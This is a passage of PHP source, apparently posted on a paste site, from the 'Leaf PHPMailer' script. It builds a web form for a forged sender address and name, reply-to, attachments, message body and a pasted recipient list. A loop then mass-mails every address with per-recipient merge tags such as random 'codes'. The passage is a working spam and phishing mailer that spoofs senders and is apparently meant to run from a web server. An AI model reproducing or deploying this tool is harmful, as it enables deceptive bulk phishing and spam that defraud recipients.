  3365. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
  3366. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3367. <div class="row">
  3368. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="' . $senderEmail . '"></div>
  3369. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="' . $senderName . '"></div>
  3370. </div>
  3371. <div class="row">
  3372. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3373. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="' . $replyTo . '" /></div>
  3374. </div>
  3375. <div class="row">
  3376. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="' . $subject . '" /></div>
  3377. </div>
  3378. <div class="row">
  3379. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">' . $messageLetter . '</textarea></div>
  3380. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">' . $emailList . '</textarea></div>
  3381. </div>
  3382. <div class="row">
  3383. <div class="form-group col-lg-6 ">
  3384. <label for="messageType">Message Type</label>
  3385. HTML <input type="radio" name="messageType" id="messageType" value="1" ' . $html . '>
  3386. Plain<input type="radio" name="messageType" id="messageType" value="2" ' . $plain . '>
  3387. </div>
  3388. <div class="form-group col-lg-3 ">
  3389. <label for="encode">Encode Type</label>
  3390. <select class="form-control input-sm" id="encode" name="encode">
  3391. <option value="UTF-8" selected>UTF-8 Encode</option>
  3392. <option value="UTF-8">ISO Encode</option>
  3393. </select>
  3394. </div>
  3395. </div>
  3396. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  3397. </form>
  3398. </div>
  3399. <div class="col-lg-6"><br>
  3400. <label for="well">Instruction</label>
  3401. <div id="well" class="well well">
  3402. <h4>Server Information</h4>
  3403. <ul>
  3404. <li>ServerIP : <b>' . $_SERVER['SERVER_ADDR'] . '</b></li>
  3405. </ul>
  3406. <h4>HELP</h4>
  3407. <ul>
  3408. <li>[-email-] : <b>Reciver Email</b></li>
  3409. <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
  3410. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  3411. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  3412. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  3413. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  3414. <li>[-randommd5-] : <b>Random MD5 </b></li>
  3415. </ul>
  3416. <h4>example</h4>
  3417. Reciver Email = <b>user@domain.com</b><br>
  3418. <ul>
  3419. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  3420. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  3421. </ul>
  3422. <h6>by <b><a href="http://' . $leaf['web'] . '">' . $leaf['web'] . '</a></b></h6>
  3423. </div>
  3424. </div>';
  3425. if ($_POST['action'] == "send") {
  3426. print '<div class="col-lg-12">';
  3427. $maillist = explode("\n", $emailList);
  3428. $x = 1;EMAIL_VALIDATE();
  3429. foreach ($maillist as $email) {
  3430. print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-5">' . $email . '</div>';
  3431. if(empty($email)){
  3432. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  3433. print "<br>\r\n";
  3434. break;
  3435. }
  3436. $mail = new PHPMailer;
  3437. $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email));
  3438. $mail->addReplyTo(leafClear($replyTo, $email));
  3439. $mail->addAddress($email);
  3440. $mail->Subject = leafClear($subject, $email);
  3441. $mail->Body = leafClear($messageLetter, $email);
  3442. $mail->CharSet = $encode;
  3443. for ($i = 0;$i < count($_FILES['attachment']['name']);$i++) {
  3444. if ($_FILES['attachment']['tmp_name'][$i] != "") {
  3445. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i]);
  3446. }
  3447. }
  3448. if ($messageType == 1) {
  3449. $mail->IsHTML(true);
  3450. } else {
  3451. $mail->IsHTML(false);
  3452. }
  3453. if (!$mail->send()) {
  3454. echo '<div class="col-lg-6"><span class="label label-default">' . $mail->ErrorInfo . '</span></div>';
  3455. } else {
  3456. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  3457. }
  3458. print "<br>
  3459. ";
  3460. $x++;
  3461. for ($k = 0;$k < 40000;$k++) {
  3462. echo ' ';
  3463. }
  3464. }
  3465. }
  3466. print '</body>';
Add Comment
Please, Sign In to add comment